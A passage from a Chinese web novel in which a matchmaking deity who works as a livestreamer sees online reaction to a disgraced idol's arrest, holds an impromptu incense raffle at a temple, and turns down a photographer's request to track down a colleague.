其上自然也有一些同样属于人、却不属于她的信息残留。 等待着恶人的,将不仅仅只是死后来自城隍神的裁断,还增添了属于凡尘现世、属于人类社会的审判。 她,会迎来属于她的正义。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 60-70 第61章 通告其二 时间不紧不慢又过去了几天。 趁着即将翻过最后一页的日历还没彻底翻篇,一封通告突然被官方账号郑重公示发布,给年末本就热闹忙碌的大家们又添了一把柴—— 是一封来自某地警方特别标注了“警情通告”的公示文件。 【xx年x月x日,林某某(男,23岁)因涉嫌猥亵未成年(受害人尚不满十六周岁)、聚众涉黄等罪被x市公安局xx分局刑事拘留。】 【经调查,犯罪嫌疑人林某某于xx年x月x日在某地下酒吧消费期间,对路遇的数名女性进行骚扰猥亵,并伙同朋友x某、x某某,对其中一位未成年人实施犯罪。】 【接到报警后,警方第一时间展开工作,并于x月x日将林某某抓获归案。】 【目前,此案正在进一步侦查办理中。】 【因该案件涉及未成年受害人,请广大群众共同守护保卫未成年隐私,维护未成年人的合法权益。】 【x市公安局xx分局】 【xx年x月x日】 此条公告一出,迅速就被送上了热搜排行榜。 也算是给近来备受大家关注的公众热点事件划了个汇报性的句号。 不明真相的纯路人们看到热搜后觉得挺奇怪的。 这不就是一件怎么看怎么寻常的猥亵案件吗,怎么就能获得这么大热度了。 平时猥亵案件那么多,哪个得了这种待遇的? 但等他们顺着榜单点进词条,看到社会各界人士对这件事的讨论,顿时便都恍然了。 ——林某某,原来是那个林某某! 解码之后,可不就是林必珩么。 已经过去好些天,几乎快被岁月史书的事情再度被翻出来,众人又开始热烈地讨论起来。 林必珩那事儿竟然真的被警方下场给定锤了! 林必珩的个人话题广场,一片哭天喊地。 大多数粉丝都在这里流泪痛哭,怒斥林必珩太让大家失望了,怎么就那么管不住自己的下半身呢? 害的他们粉个明星都还给自己粉出互联网案底来了! 但也有一小部分人,仍旧坚持“哥哥无辜/哥哥知错就改就行”,个个扮演起了野菜党,信誓旦旦要等林必珩改造完出来,其行为逻辑那叫一个令人叹为观止。 更有甚者,还有极个别未知人员,匿名发表起了“你都睡那么多粉丝了为什么还要拒绝我”“我恨你!”的逆天言论—— 然后被其他脱粉者及仍旧粉着林必珩的粉丝们群起而攻之,用唾沫淹死。 粉丝们的笑话圈外人并不关心。 和偶像塌房怒骂天地到处哭坟怀疑人生的氛围完全不同的,是林必珩个人话题广场以外的其他全部。 网友们欢庆着坏种被抓,一片喜气洋洋。 人都进去了! 天姥娘呀,喜大普奔啊! 大多数一直在关注这件事的网友们更在意的是,事情到了现在,才总算是有了一种、追了全程的瓜终于吃到结局的通畅感。 好嘛,这才是应该有的办事效率和办事节奏啊。 那种压了几年都没个结果、最后不了了之的,还有总是被官方顾左右而言他就是不正面回应最后绕过去的——算什么玩意儿! 这才是现代人该吃的瓜!该看到的处理结果! 莺芝本人并不在其中的“小莺直播群”里,观众和粉丝们也在锣鼓喧天地庆祝着林必珩落网。 【晚间生物:林必珩终于被抓了,恶有恶报啊。】 【瓜田的猹:抓得好!既然敢做就得承担后果。】 【瓜田的猹:不过就算他被抓了,给人家小姑娘造成的伤害也是不可逆转的,这畜牲,气煞我也!】 【你到底说不说:安啦安啦,他这必定要进去的,至于踩多久缝纫机才能出来就说不定了。】 …… 【瓜田的猹:喜报!家人们!喜报!林必珩的所有剧和综艺,该下架的下架 ,该打马赛克的都打上马赛克了!】 【骂谁二次元呢:哇噻,终于不用看这个脏东西了,这是被封杀了吧?】 【瓜田的猹:那必须的!这厮等出来以后还想在内娱混反正是不可能了。】 【瓜田的猹:该说不说,小莺无敌!小莺超神!】 【履行摸鱼职责:小莺无敌!小莺超神!】 【履行摸鱼职责:谁算算这是小莺第几次引起社会热议了?】 【你到底说不说:数不清了,太多了。】 【骂谁二次元呢:小莺真的好厉害,算出来什么就是什么,真就完全不带假的啊?】 【瓜田的猹:嘿嘿,我已经捧好碗筷等张逢期的结局了。】 【你到底说不说:等张逢期+1】 【我真没有QAQ:她在玄学这一方面的造诣已经可以被称为宗师了。】 …… 【给予她温油ma:之前不是还有人说她算错了?】 【履行摸鱼职责:晕死,你也是老粉了,这也信?】 【履行摸鱼职责:他爹的,差点都忘了,之前污蔑造谣我们小莺的人呢?怎么不出来道歉!】 …… 群里的话题一会儿一变,话赶话赶着赶着,就从庆祝林必珩社会性死亡转移到了别的内容。 林必珩的事是有结果了,但是其他的呢? 小莺事变当天,可是出了不止这一件事! 现在林必珩有了结果,其他的也总该有个交代了吧? 还有那阵子网络上出现的各种对莺芝的诋毁——现在官方都已经下场盖章定论林必珩是个什么东西了,算实锤了吧? 那么那些天因为这个骂小莺的人,是不是该出来道个歉? 群友们聊着聊着,不满足于只在自家一亩三分地,开始去各大公众平台上发表意见。 有了他们或有心或无意的带节奏,其他围观了这几起“小莺事变”全程的网友们,注意力也都渐渐发生偏移,挪到了张逢期事件上。 ——大多数人都还是路人,不像粉丝以及长期观众那样,相信莺芝的判断,确信之前的指责是造谣。 所以这个主播到底专业水准咋样,还得看“事变”里的另一桩案子。 也就是张逢期婚内出轨、且猥亵学生一事。 到了年末,各个行业都进入了年终总结期,按理来说都得是忙得不可开交才对。 但忙归忙,网友们可丝毫没有懈怠吃瓜这事儿,或者说,工作越是忙碌,大家就越要找个抒发压力的精神寄托不可。 再加上无处不在的大学生们…… 张逢期挂名任职的那所高校,在各个平台的公开账号主页,在短短一天多时间里,全部“沦陷”。 不管是社交平台的官方账号,还是官网的留言区,亦或是高校对外开放的咨询群,只要一点开,全都是询问张逢期的事情什么时候给个定论的发言。 大家嫉恶如仇的程度由此可见一斑。 不知道是不是校方被高压的舆论环境所迫,又或者是真的查到了什么,需要立刻表明态度,很快,他们也站出来,正面给出了回应。 学校的官方账号,发布了一则情况通报。 【xx年x月x日,网络上出现了关于我校在职教师张某某涉嫌师德失范行为的举报信息,引起我校高度重视,校委、教育、公安等部门已组成联合工作组,对此事展开调查核实。】 【目前,我校已对涉事教师张某某予以停职处理,暂停其一切工作。】 【具体情况仍在进一步调查核实中,后续,我校将根据调查结果,对相关人员依法依规进行严肃处理。】 【我校承诺,将采取一切必要措施,维护校园的和谐与安全,对师德失范行为零容忍。任何不当行为,无论涉事者职务高低,都将严惩不贷!】 这公告出来,顿时引起一片叫好声。 不过,看着这公告,一些吃瓜群众们咂咂嘴,总觉得哪儿不太得劲。 怎么有种一口咬下去,结果吃到的都是空气的绵软感。 就…… 只是停职? 不该像林必珩那样,直接被抓起来吗? 这可是xsr,还是成功了的那种! 只是一个“师德失范”就过了? 当晚,几个相当有名的律师直播间里,就有许多人问出了心声。 律师同志们恰好也想就这件事聊一聊,双方一拍即合,直接把这事儿聊了个透彻。 ——张逢期,和林必珩,他们所犯下的错,是一个量级的吗? 答案很明显,不是。 “虽然看起来同样都是伤害了无辜女性,但概念却完全不同。” 主播侃侃而谈:“先不说其他的,只两边受害人的年龄,就不是一个范围,得分开两种情况来聊了。” “何况林必珩那里,那位未成年是完全被迫,甚至无意识的——张逢期这边呢? 他的学生,不论主观意愿如何,客观上来看,她确实知道自己在做什么、也有权利拒绝。” 由是种种,虽然都是“猥亵”,却完全不能放一起比较。 “当然,受害者的主观意愿,也是我们现在裁决犯罪者犯罪程度的一个重要参考。不过这就得在张逢期案件里深度解析时再剖开聊了。” 如是这般,律师主播们引法条据法典,抽丝剥茧地把两件事分析了个来回。 莺芝抱着手机,在回程的卧铺火车上坐着,看得连连点头。 原来如此,还能这样,竟然是这么回事。 ——她倒不是有意恶补凡间法律知识,所以蹲在直播间听讲座。 之所以在这儿看直播,纯粹是被红线小人儿闹腾的了。 它嫌坐车无聊,但现在身处公共场合,又不能让它自己玩手机,就只能莺芝带着它看了。 而她们原本在看热搜,结果被一个律师的直播间给吸引了,就看到了现在。 这段时间莺芝一直在润城,就在今天白天,她收到了肖警官的电话,告诉她可以离开润城了。 莺芝当即就买了票。 小庙待了这么一阵子,一直没能开直播,她都待腻了。 所以即便买不到高铁,只剩下火车票了,莺芝也没有犹豫。 赶紧回去,就能赶紧继续干活。 赶着年底这波,她得加把劲—— 和凡间一样,天庭各部门到了年底也有年终总结,业绩评比。 而且年会近在咫尺了,她可不想上任第一年就作为垫底的去登台发言、被公开丢脸啊! 虽然下凡开展业务的这几个月以来……也没取得什么显著的进展……吧。 但——! 最起码,再加加油……努力脱离倒数一二三? 早在报完警做完笔录的当天,文隽就已经回到天庭去了,所以回程的路只有莺芝自己。 听了会儿凡间律法科普,困意席卷,莺芝靠倚在被褥上,浅浅睡了过去。 红线小人挂在她耳垂上,继续看直播。 抵达凡间临时居所时已经是第二天的下午。 莺芝随便吃了点东西,准备去庙里坐一会儿调整调整状态,然后回去直播。 似乎是因为周末,庙里香客不算少,门口卖香烛纸的窗口前都排起了队伍。 莺芝见怪不怪,轻车熟路地溜达过一排排祈愿树,朝月老殿摸过去。 没走出几步,她忽然被人拦住了去路。 一个拿着把香的年轻男生站在她面前,脸上带着明显的喜色。 “小莺——你是小莺对不对?!” 不知道是不是因为情绪激动,他声音十分洪亮。一嗓子叫出来,四面八方的视线顿时齐刷刷投过来。 “小莺?” “真的是小莺?” “她真的在这里?!” “……” 一刹那,庙里的空气都好像充满了窸窣的声音,有种莫名的人山人海感。 莺芝万万没想到会有这么一遭,她脚步迟疑地顿住,不明所以,又有些茫然。 男生还在兴奋。 “他们说在这个庙里能看到你,我还不信,不过刚好跟我学校在一个城市,就趁没课过来看看,想着就算看不到也没关系,就当是来给月老添点香火,反正也都是讨你欢心,没想到竟然真的见到你了,太神奇了,这就是你说的天定的缘分吗?我相信了!” 莺芝:啊? 什么,什么? 谁们说的在这儿能看到她,怎么 就讨她欢心了,谁和谁缘分…… 你说慢点…… 察觉到周围视线越来越多,越来越灼热,甚至还有一些人也都朝这个方向大步走了过来,男生“啊”了一声,后知后觉地缩了缩脖子。 “……给你添麻烦了?不好意思啊。” 他歉然道:“我以为你知道今天这里会有人来找你的……真的对不起!” 莺芝更疑惑了,但事态已经不是轻易能控制的,周围的香客明显有不少是冲她来的,溜也溜不及了,不如先弄清楚状况。 她原地站定:“为什么?” 见她似乎真的在状况外,而且都不明白情况了竟然还不凶他、态度这么温和,男生更惭愧了: “……是这个,网上他们说的。” 他把手机屏幕转过来,展示给莺芝看。 屏幕里,赫然是莺芝也熟悉的某平台页面。 上边,正显示着一条动态。 【娱顶大朋_V:说真的,要不是接了林某某团队的活,我还没见过这种人,后半夜不睡觉,偷偷走后门进人家院子——结果是去庙里打坐,一坐坐一天! 骂她不专业骂她赚黑心钱的人赶紧出来给赔个罪吧,她没准是月老座下童子成精,投胎下来造化恶人的,不道歉小心得罪神仙走霉运。】 【(图片)(图片)】 评论区热评第一,也是该博主自己的发言: 顺便她能不能给我也道个歉,跟着她想着蹲个大料,结果在庙外头吹了一夜一天的风,回来就感冒了。 不能就算了,对不起π_π 莺芝:“……” 第62章 临时活动 “就,就是这么回事……” 男生见莺芝始终没什么反应,也不知道她是看完了还是没看完,不由地一再悄悄瞥她神色。 “这事儿都在热搜上挂着呢……我以为你知道。” 他耐着性子又等了一会儿,始终没得到莺芝的回应,视线也渐渐开始游移了起来,期期艾艾。 “真的对不起!我不是有意那么大声喊你的,给你造成这么大的麻烦……抱歉抱歉……” ——既然她“大半夜也要造访”的庙宇已经被狗仔爆出来了,那以她现如今的名气,肯定是会有许多粉丝想着来和她“偶遇”的。 就算偶遇不成,打卡一下小莺同款总也是可以的吧。 所以在这种时候,莺芝如果要是不想和粉丝及观众们接触,那直接在这几天不要过来就行了。 既然来了,就应该是想要见粉丝……或者说已经做好心理准备了。 这不止是男生一个人在刚才见到莺芝后产生的想法,此时此刻,正在靠近的香客们里,许多人都这么想。 莺芝:“……” 不是她不想说点什么来回应,实在是刚刚看到的那条,来自狗仔的动态太让人无语。 而且—— 还说得好像他非常失望一样! 大半夜到庙里打坐怎么了? 怎么了! 就有人就是有这个爱好不行吗? 怎么就要被他用一副怒其不争的口气、外加一副“家人们开眼了”的猎奇滤镜给形容成这样了? 眼看注意到这边动静的香客们越来越多,且已经初步形成了聚拢之势,莺芝收敛了乱七八糟发散开的想法,稍微调整了一下表情和状态。 既然撞上了,也躲不开,那还是得好好应对才是。 何况择日不如撞日,这突然掉下来砸身上的关注度,不好好想想能怎么用一下……就太亏了! 心念稍转,莺芝抬眸看向面前的男生,笑容和善。 “我看完了,谢谢——既然能在这里遇见,也的确算是缘分,你是来上香的吗?” 莺芝声音本来就好听,软下语气的时候,更是有种说不出的温柔。 当听她说话的人心里没有抱什么恶意时,很轻易就能在这样的嗓音下放松下来,如被春风洗礼。 男生有点受宠若惊。 犯了错,给人家添了麻烦,还能受到这样和颜悦色的对待…… 先前的招摇张扬不知不觉就没了踪迹,他把手机塞回兜里,有点不好意思地看了看手里的香。 “嗯……是的。我原先想着肯定见不到你,那就来上个香,你不是一直呼吁观众们这么做么,我就……” “——小莺啊,嘿哟,真是小莺。我这次没白来!” 一个约莫六十多岁的老大爷截断了男生的发言,不由分说挤了过来,上下打量莺芝一番,满意至极。 他先是展示了一下手里的香,然后乐呵呵对莺芝道: “你看,我不是白来庙里的,绝对捧场。那个,小莺啊,你给爷爷、嗯,叔叔吧,年轻点——你给叔叔算算,叔叔的老伴儿在哪儿呢成不?” 男生不乐意了,上前几步,努力地蹭上来,跟老大爷站了个并排。 他谴责道:“大爷,你怎么能这样呢?小莺来这里是上香拜神的,又不是摆摊的,想算卦去等直播啊。” “再说了,小莺的规矩从来没有变过,每天就三卦,你在这儿堵人让人家给你算,是想倚老卖老,道德绑架,逼她给你破例吗?” 老大爷胡子一吹:“你这不讲理的后生,谁说我倚老卖老了,你哪只眼睛看到的我道德绑架了?” 男生指了指自己瞪大的双眼:“都看到了——我要是不拦你,等小莺拒绝你,你下一步绝对要开始绑架了。” 老大爷“嘿”了一声,也有点不高兴了。 眼看俩人马上就要吵起来,而还有其他的香客也在试探着开口跟她打招呼,莺芝轻轻咳嗽了一声,把众人的注意力吸引过来,而后微微扬了些声音开口。 “各位——” 她本来就是现场的中心,现下冷不丁这么一开口,周围的视线便就都集中了过来,落在她身上。 “确定是小莺吗?小莺这会儿真的会来这儿?” “好像真是小莺……跟直播间里长得一模一样。” “真的是?那今儿是不是能找她算卦了——” “我就是看到热搜了想着来凑合热闹,哇去,真能见到啊!” …… 压低放轻了的讨论声不绝于耳,莺芝浑然不觉般,不等有人站出来对她提出什么问题,莺芝便已经笑着继续说了下去。 “诚如大家所见,我是小莺。月老定缘直播间的主播。” 她直接认下了身份,让还有些犹疑的路人香客也都恍然。 这的的确确就是那个小莺—— “走运!今天没白跑,见到真的网络红人了,还是个神秘兮兮的。” “也不知道今天能不能找她帮忙算一卦……” “应该行吧,就算我们不行,也总有人可以——这么多人呢,她也不能全拒绝吧?” “你们可千万不要这么干,刚刚那男的不是说了么,不能道德绑架,现在人这么多,回头你要是也谁给被拍下来,发到网上去,那你不得被口水淹了啊?” “……也是。” “唉,弄的什么规矩啊,一天就三卦,这么不近人情。” “就白跑一趟呗。” “你们说得我都不敢去跟她搭话了,只能远远看看,凑不得热闹啊。” …… 讨论声仍然没停,聊什么的都有,莺芝半点没受影响,脸上也没露出什么不愉快的情绪,依旧神色如常。 “有人可能在网络上 刷到过我的视频,听到过我的名字,我很荣幸。也很高兴能在这里见到大家。” 她冲四周点了点头,从容地说着刚刚才临时出炉的打算,“大家今天到这里来,都是来上香的吧?” “不知道有没有对这里很熟悉的,如果是第一次来,那不如这样,我来做一次讲解员,带领大家逛一逛这间庙宇——这里非常大,不止供奉了月老,还有许多其他的神仙。” 莺芝话锋又转,笑吟吟地:“当然啦,香火还是要多多给我们姻缘殿上才好呢,请务必多多支持我们姻缘殿的工作。年终业绩的评比,全靠各位一点一滴的助力啦。” 大家都哄笑起来。 这话只有莺芝自己知道,她说得理所应当,但在其他人听来,却无疑是在cue网上那个狗仔的那条动态—— [她没准是月老座下童子成精] 不管是不是她的本身脾气就很好,反正身为一个半公众人物,一个拥有那么多粉丝的主播,在知道自己被这么编排之后,还能在众人面前表现出这么一副好脾气的样子,又会借此自嘲,说点小俏皮话,就已经足够了。 她表现得平易近人,其他人便也少了许多的顾虑。 有人大声朝她道:“那我们支持你们殿业绩,仙子给点什么好处啊?” 显然也是代入了那个什么“月老座下”的设定,配合了莺芝的说辞,并以此在和她开玩笑互动。 而且这人还很巧妙地,把“童子”改成了更契合她外表及个人特征的词汇,也算讨了个巧,在莺芝面前刷了一把好感。 莺芝循声看去,说话的是个女生,样貌圆润,皮肤白里透红,声音洪亮,一看就是个健康幸福的面相。 莺芝也弯了弯唇角,配合地做了个思考的神色。 “是诶,容我想想……” 她们俩这么一来一回地,不知道是在玩角色扮演还是模拟什么npc对话,但也没人打断她们,大家都看得津津有味。 主要是他们也想知道,今天来上香能得到点什么—— 虽然原本就是来凑个热闹,碰个运气,能见到小莺就已经是足够幸运的了,但谁不希望能有点收获呢? 哪怕就给个合影的机会也行啊! 莺芝沉思片刻后,摆出有点肉疼的表情:“那……这样吧——” 她从口袋里摸了摸,摸出来一样东西。 “今天给月老添香火了的各位,我们最后进行一次抽奖,此物作为奖品。” 莺芝的手心里,一根红线正静静躺着。 “这个大家都不陌生,但它和寻常红线不同,是我们姻缘殿出品的,效果极好,带在身上,能够增强自身的‘缘’——此物珍贵,我身上带的不多,只有三根,那就分给幸运的三位吧。” 先前的女生好奇道: “那多少香抽一次啊,一根一次?九根一次?我要是想多抽,是不是只要使劲儿氪金就行了?把抽奖次数氪到最大。” “三根为一柱,一柱为一次机会。” “怎么又是三啊,小莺,你对三到底有什么执着——” 周围的香客里,有人喊道。 莺芝眉眼弯弯,温声温气解释:“三代表天地人三方,以此数目来计香火,本就带了平安顺遂的意味,是个吉利且具有象征意义的数字。” “大家也不用多破费,本次算作我们姻缘殿感谢大家的惠顾,每人只有一次机会——千万不要为了得到红线而多做什么,香火一事,大家量力而行即可。” 合着一人只能抽一次啊—— 先前一部分听到莺芝说出上香可以抽奖就开始兴奋的人顿时蔫了不少。 这年头,真没几个人信运气这玩意儿的。 和向上天求姻缘的人越来越少同理,比起虚无缥缈的运气,大家更愿意相信自己兜里实打实的票子。 但与之相对的,一些囊中羞涩、生活本就不算太富裕,花钱往往以精细为主的人却很开心。 这意味着他们也有了同等的竞争机会,和氪金大佬们比运气的公平机会。 好事啊。 于是乎,大家一哄而散,没买到香的都去买香了,买到的赶紧进月老殿去给月老上香了。 ——得赶紧上完,然后找小莺登记,抽奖。 万一趁早抽抽中了呢?晚会儿给人家都抽完了,不是血亏。 一时间,竟也没人还记得找莺芝算卦、以及莺芝刚刚提到的可以当导游带人观光一下的建议了。 这临时拉起的活动,意外得到了不小的反响。 等跟前人散得差不多,庙里的工作人员才一脸稀奇摸到莺芝身边。 工作人员诧异地打量了好几番莺芝,啧啧感慨。 “要不是知道我们跟你没合作,我都要以为你是来给我们庙里卖香的了……” 莺芝眨眨眼,看向对方:“既然为庙里带来了实质性的收益,那你们要不要也感谢我一下?” 工作人员:“……怎么感谢?” 要签合作合约吗?如果以后定期能来这么一趟的话,也不是不行。 莺芝:“给月老添点香火。” “……”工作人员沉默了。 不是,给月老烧香,她能获得什么好处? 网上那个动态他也看到了,这姑娘竟然大半夜都能溜后门进来,就为了在月老那儿打坐—— 要不要这么清奇? 她到底跟月老有啥关系,月老难不成真是她亲戚? 莺芝:笑而不语.jpg 工作人员:“……” 这眼神,这态度。 他严重怀疑,要不是不可能大动工了,这姑娘能直接提出让他们给月老换个更大的殿的要求! 好么。 除了亲戚也做不到这种地步了。 “行。晚上我们会招呼庙里的工作人员,都去给月老上柱香的。” 他沉默了片刻,又问:“以后……还能来做点这种‘活动’吗?偶尔一次就行。庙里以后对你24小时开放,不用再撬门了,你要是还想要点别……” 莺芝笑眯眯:“好啊。” “——别的不要了?” “不要。” “……” 谈完合作,工作人员摸不着头脑地离开了。 最先上完香回来的是一开始找莺芝搭话的那个男生。 他手里已经没了香,兴冲冲地从月老殿后门冲出来,找到在后边长椅上坐着的莺芝。 “小莺,我上完香了!” 莺芝笑道:“那要现在抽奖吗?” “好啊!”男生一口应下。 他走近,在莺芝身边坐下,面对莺芝递来的手机,有点紧张地搓了搓手。 “就,点这里就可以了吗?” “是的。” 莺芝刚刚找了个抽奖的软件,设置好奖品的数目,再初步设定一个奖池抽奖次数的总数额,就可以进行抽奖了。 “那那那——那再等一下,我再求一下月老!”男生双手合十,面对月老神像的方向,合掌碎碎祈祷,“月老大人在上,请务必赐给我好运,让我抽到这个红线……” 看着男生高度紧张的样子,莺芝莞尔。 “你为什么想要这个红线?” “为什么?”男生正一愣,脱口而出,“因为是你给的东西啊,我想抽出来,然后,拜托你帮我绑给咱俩……” 莺芝:“……” 什么? 男生已经回过来神,意识到自己说了什么,他猛地捂住自己的嘴巴,脸色涨红。 “不是,我的意思是、我,你……啊啊!!不管了,我就是这个意思!!” 莺芝却是又笑了起来。 她垂下眼,难得笑出了声音。 但声音轻轻,没有什么浓烈的情绪,不带喜悦,也不含嘲讽。 男生脸颊滚烫,但眼中难掩困惑。 莺芝唇畔笑意轻柔。 “年少慕艾,果然是很美好的事情。你这个年纪,也正是动心念的时候。” 男生眼睛一亮:“那……” “谢谢你喜欢我,但是我们不合适。”莺芝笑着,把手机又朝他的方向放了放,“抽一个吧,如果中了,我可以替你和未来的她系上。” 她温和地道:“月老会保佑你的。” 或许是她的语气太温柔,态度太无懈可击,男生完全没有被拒绝了的实感,反而整个人 都被她的和气搞得跟踩在云上一样。 来不及伤心,就已经按下了抽奖键。 【恭喜您,抽中本次奖品!】 跳出来的对话框上,一行被加了炫彩的字闪烁着夸张的光芒。 男生惊呆了。 他、他—— 他真的中了?! “恭喜。”莺芝眉眼弯弯冲他道喜。 “月老……月老真的在看着我!!”男生一跳,整个人从长椅上弹起,激动地原地转了好几个圈,“我真的中了!” 他的嗓门把周围其他香客们注意力也都吸引了过来,顿时又起一片热议。 还在排队等上香的人都有点等不及了。 “——快点啊,等会儿真没了!” 莺芝把红线取出,在男生又高兴又失落的注视下把它系在了他手腕上。 与此同时,一道常人看不见的浅红色灵力顺着红线的去处,也悄然绕上他手腕。 “我以后也会一直看你直播的。” 男生看着手腕上的红线,神情里带了点沮丧,转而又变成了笑容。 “小莺你放心,我会成为你口中的‘良配’,以后要是恋爱了,结婚了,会对她很好很好很好的。我也会告诉她,是月老给我们牵的线。” “加油,我相信你。” “我们会一直支持月老支持红线娘娘的!你的业绩,一定有我们一份!” 莺芝笑着点头:“好啊。” 合影之后,男生一步三回头地离开,莺芝继续进行临时的活动。 第二根红线是在人数快过半时才被抽走的,中奖的是一位约莫五十来岁的阿姨。 她原本是来拜财神的,意外得知这边月老的活动,就凑了个热闹,没想到中奖了。 看着周围一圈人羡慕又嫉妒的表情,阿姨高兴得很,连声说着要带回家给女儿带。 活动到傍晚才结束。 香客都已经离开,莺芝也要走,却意外和一个熟面孔撞了个正着。 那人带着棒球帽,背着包,脖子里还挂着相机。 “你是……” 第63章 帮忙 和那人正面撞上,四目相对,莺芝还没怎么,对方已经一怔。 “你是……” 他稍微愣了一会儿,似乎是在犹豫,又似乎在斟酌。 这个时间里,莺芝已经在继续前进了。 她没有多说,更没有多做反应,只是冲对方点了点头,就要离开。 见状,男人也不犹豫了,当即便开口: “你是小莺,那个做媒的主播?” 莺芝脚步一停,微微侧过身看向他。 “我是。” 只说到这里,却不继续,以此来等待对方的下文。 这个人,她下凡后见过的,属于近几个月接触过的人,所以有印象,也多少能猜到对方叫住她的原因。 只不过,具体走向她却不太能把握。 所以还得让对方主动开口,露出意图才行。 果不其然,听她应下自己的身份,年轻男人又陷入了沉默,片刻过后,他语气有点犹疑地开口: “你……还记得我吗?” 莺芝一点头:“记得。” 男人微微松了一口气。 可转瞬,他又紧张了起来,手无意识地抚上了身前的相机,舔了舔嘴唇。 “那……她还好吗?” 这话说得没头没尾,莺芝不置可否,只一挑眉。 “嗯?” 男人一急:“你忘了?” “就上次和你一起在这里的那个女生,你就是那次才遇见我的——我是说朱顶!” 莺芝做了个恍然的表情:“朱顶怎么了?” 男人一滞。 须臾后,他眉眼不太自然地耷拉下了个细微的弧度。 “朱顶她……失联了。” 莺芝似笑非笑看着他:“哦,失联了?” 男人被这样的目光看得有点不自在,感觉浑身上下全被探查干净、没丁点秘密了一样。 又沉默了一会儿,他才把心一横,如实说道: “我其实对她……一见钟情。” 莺芝没什么反应。 这男人正是上次朱顶下凡时,她们一起遇到的那位。 当时他一见到朱顶就十分热情地凑了上来,扛着相机,说自己是摄影师,想邀请朱顶做他的模特—— 谁都知道他是什么心思。 不过眼下他的表现,和上次相遇时那种健气开朗、完全就是个自来熟的样子大不相同,怎么看怎么有些焦躁的意味在里头。 显然是这段时间又发生了什么。 那厢,男人见她不搭话,既不惊讶也不好奇,完全就是一副听了空气说话的样子…… 他只好压下心里那股子尴尬,继续讲述。 “上次见面的时候,你走之后,在我的强烈要求下,她给我当了一会儿模特……她很喜欢我给她拍的照片,因为我要给她发修过后的成图,所以就互相留了联系方式。” 这话在莺芝脑子里自动被翻译:在我的死缠烂打之下,朱顶被迫和我交换了联系方式—— 至于朱顶刚刚下凡,是去哪里弄的凡间设备、凡间通讯账号,这就不得而知了。 “……在那之后,我们之间的相处一直很愉快,每天都会互相分享一些日常中的趣事乐事。但就在前些天,她忽然不回我消息了,失去了一切联系……我怀疑她出了什么事,就一直在想尽各种方法找她。” “可……她是个神秘的女生,除了名字和手机号码、社交账号……基本就没有任何其他的信息,我不知道她在哪里上班,不知道她住在哪里,也不知道她认识什么人,喜欢去哪里……找都没地方找——唯一知道的,只有她会来这里,她和你认识。” 莺芝暗自点头:这很正常。 朱顶毕竟是神仙,而且又是财神殿的神君,作为天庭当之无愧最最最热门的部门,她每天的工作肯定是满满当当的。 最近又是年末,大家都忙,财神殿也只会更忙,她估计连下凡的时间都没有。 这一忙起来,当然是直接消失了。 “这些天我基本每天都会过来一趟,但是一直没见到你,也没见到她,还以为没机会了。今天上班的时候看到了网上关于你的消息,趁下班过来碰碰运气……真给我碰上了。” 他唏嘘,又感慨:“也算命里有吧,天不薄待我。” 莺芝对这说法不表褒贬,只是道:“那你找我是想让我做什么?” 男人眼睛一亮:“你肯帮忙?那就太好了!” “我也不想让你做什么,主要是我很担心她,想知道她现在怎么样了,在做什么,有没有什么事,如果可以的话让她给我回个消息,和我说一声,不管是在做什么,好歹让我知道,也好不这么担心……” “我知道了。”莺芝应了一声,却没有点头,“但抱歉,我不能答应你。” “为什么?!” 男人怔愣过后,情绪立刻激动起来。 “你不是红娘吗?你不是以月老自居吗?那有情人终成眷属不应该正是你想看道的吗——你不愿意促成这种事?” 他声调偏高,有些愤然,望着莺芝的眼中也遍布谴责和不满。 估计是真的手足无措了太久,终于看到一点希望,却忽然又被兜头一盆凉水浇灭,实在受不了这个落差,难免尖锐。 “就这还月老,你对得起你口口声声给自己立的人设吗?” 莺芝安静地听他发泄着,态度始终不愠不。 等他说完,脸上犹带焦躁,她才缓缓接话:“你说的有道理。” “你也知——……啊?” 莺芝点了点头:“‘月老人设’确实应该以凑成有情人为己任,但——” 她抬眼,直直看向他,认真发问:“你们是吗?” 男人噎住。 “我们……” 莺芝:“我与朱顶是同事,严格意义上来说并不算相熟,但我也知晓,她对你应当没有什么非常热烈的心思。你如今这套说辞,究竟是单方面的自我认知, 还是她也认可的,你心中应当再清楚不过——” 在追人还是在谈,总得分清楚吧? 她好歹也是姻缘仙,对这点都把握不住,还干什么吃的。 莺芝语速缓缓,说出的话却让男人的脸色一点点变得难看。 “朱顶不理会你,或许是因为她工作太忙,又或许是别的什么原因——若你托我是想我为你去打探一下她的态度,自然是可以的。” “但你让我找到她、要求她回应你,这我做不到,也不会做。” “你——” “我是月老,负责牵线,但不负责强扭。” 莺芝语气淡淡的:“你的请求我接收到了,如果之后有机会见到朱顶,会替你问一问她的态度,届时再告知你。” 男人欲言又止,脸上尚有些不甘之色,但在见到莺芝的表情后,却也只能勉强把未尽之言又咽了下去。 “……那你记得你说的话。” 他拿出一张自己的名片,塞给莺芝。 莺芝颔首,想到什么,又开口,叫住了将要转身离去的男人。 “你还没有给我报酬。” 男人:“……?” “你不是从来不要报酬的吗?” 别骗他,他虽然不怎么关注她的直播,但也是了解过一点的! 莺芝面不改色:“现在要了。” “……要多少,你说。” 莺芝指了一个方向:“去给月老上柱香。” “……” 她在涮他玩? 莺芝歪歪头:“不去吗?” “……”男人忍气吞声,“……去。” 不管她是什么心思,现在他想联系上朱顶,也只能找她了。 不就是上个香么,小事,他上还不行么。 “三支为一柱,不要少了。” 听到身后犹带不放心的提示,男人脚下步子一歪:“……我知道了。” 虽然不知道给月老上香为什么能算是给她的报酬、她又在玩什么特殊的角色扮演,但—— 他还能少了她这几根吗?! 真无语啊!! 网上那些追捧她的人,知道她是这么个小家子气的死抠门吗? 莺芝:谢邀,不知道,但马上知道了。 当晚,莺芝照常开启了直播。 直播一开启,观众们便就都忙不迭地问起了白天的事。 ——白天在庙里和莺芝“偶遇”的那些人,有好些个都是人还没离开庙呢,就已经开始在网上直播行程和活动了。 所以远的不说,反正绝大多数的小莺铁粉们,都知道了莺芝今天下午现身传说中她“大半夜撬门”也要溜进去打坐的庙里。 顺便,她还办了个小型的粉丝见面会…… 给到场的人举办了活动! 每个参与活动的人都有机会碰碰她的手机! 还能得到她亲手系上的红线——有个男大学生都发了,他抽到了小莺送出的红线,还让她亲手给绑上了! 那小子真是臭屁得很啊,还晒了照片,不咋好看的一只手,手腕上红线倒是好看得很,图片就那么往群里一发,给大家羡慕坏了。 不过这小子说他要去给小莺告白,却不知道告了没,好几个榜上的大哥大姐都关注着呢,问他他也不说,就是一味地炫耀红线…… 气死人了。 